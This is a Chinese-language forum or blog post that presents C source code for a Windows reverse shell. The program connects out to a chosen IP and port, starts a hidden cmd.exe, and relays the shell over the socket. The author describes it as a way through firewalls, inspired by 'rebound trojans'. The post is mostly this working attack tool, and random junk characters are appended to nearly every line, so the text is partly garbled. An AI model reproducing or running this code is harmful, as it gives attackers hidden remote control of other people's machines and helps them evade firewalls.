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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %B#hb<7}  
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/* ============================== y#b;uDY  
Rebound port in Windows NT xGKfej9  
By wind,2006/7 b%Wd<N2  
===============================*/ YHs?QsP  
#include -M"IVyy@  
#include t{_!Z(Rt5)  
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#pragma comment(lib,"wsock32.lib") g~~m' ^  
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void OutputShell(); Dz[566UD  
SOCKET sClient; yB-.sGu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d32@M~vD  
>$2E1HW.  
void main(int argc,char **argv) |'ZN!2u  
{ _ymJ~MK  
WSADATA stWsaData; IYuyj(/!  
int nRet; |n+ #1_t%  
SOCKADDR_IN stSaiClient,stSaiServer; |.1qy,|!X  
)r ULT$;i@  
if(argc != 3) $GQphXb$  
{ 0(wf{5  
printf("Useage:\n\rRebound DestIP DestPort\n"); uVN.=  
return; j h; 9 [  
} iPMB$SdfO  
@q,)fBZq  
WSAStartup(MAKEWORD(2,2),&stWsaData); Q 2*/`L}m\  
N1PECLS?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zLh Fbyn(  
{J{1`@  
stSaiClient.sin_family = AF_INET; pp(H PKs=}  
stSaiClient.sin_port = htons(0); Oz :D.V 3~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s>T`l  
fCLcU@3W?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {5SfE$r  
{ ft{W/ * +_  
printf("Bind Socket Failed!\n"); ] } '^`  
return; j2M4H@  
} Was'A+GZ  
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stSaiServer.sin_family = AF_INET; [u[ U_g*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /E)9v$!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iDZrK%f l  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]x2Jpk99a  
{ ~NxEc8Y  
printf("Connect Error!"); !&W|myN^  
return; ~ 9=27 p  
} KZ]r8  
OutputShell(); .%_)*NUZ  
} $)Wb#B  
@\ }sb]  
void OutputShell() PJCnud F  
{ G=1m] >I8  
char szBuff[1024]; PCtkjd  
SECURITY_ATTRIBUTES stSecurityAttributes; 3 :UA<&=s  
OSVERSIONINFO stOsversionInfo; NW)M?f+6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H- 185]7  
STARTUPINFO stStartupInfo; N3Z iGD  
char *szShell; P Q,+hq  
PROCESS_INFORMATION stProcessInformation; q?yMa9ZZky  
unsigned long lBytesRead; Lj iI+NJ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L7m`HVCt&  
JPLI @zX^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u)7*Rj^  
stSecurityAttributes.lpSecurityDescriptor = 0; 57U%`  
stSecurityAttributes.bInheritHandle = TRUE; B3Mx,uXT\  
f4 Q( 1(C  
[g+y_@9s  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PT+c&5AS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x:qr\Rz  
lcCJ?!lsSW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6%%PP8.F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d Qai4e>[  
stStartupInfo.wShowWindow = SW_HIDE;  [@<G+j  
stStartupInfo.hStdInput = hReadPipe; u%xDsT DP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  qtzFg#  
qL3@PSN?|  
GetVersionEx(&stOsversionInfo); Wk}D]o0^@  
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switch(stOsversionInfo.dwPlatformId) E`tQe5K  
{ p'80d:  
case 1: 9 Va40X1  
szShell = "command.com"; EMh r6</  
break; dnwdFsf  
default: 2A>C+Y[7\  
szShell = "cmd.exe"; VJg,~lQN#t  
break; ,%Z&*n  
} odpUM@OAW  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2h<U  
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send(sClient,szMsg,77,0); *> KHRR<N  
while(1) gQ>2!Qc a-  
{ tOM(U-7Z&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5>P7]?U.]  
if(lBytesRead) wyzOcx>M  
{ |!Fk2Je,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &n|*uLn  
send(sClient,szBuff,lBytesRead,0); -;>#3 O-  
} \vVSh  
else t:=k)B  
{ MRs,l'  
lBytesRead=recv(sClient,szBuff,1024,0); sPy2/7Wqd  
if(lBytesRead<=0) break; IA2GUnUhu  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b=1%pX_  
} O3Uh+gKQ  
} 1ef'7a7e8  
UiIF6-ZZ!  
return; _f3 WRyN0  
}
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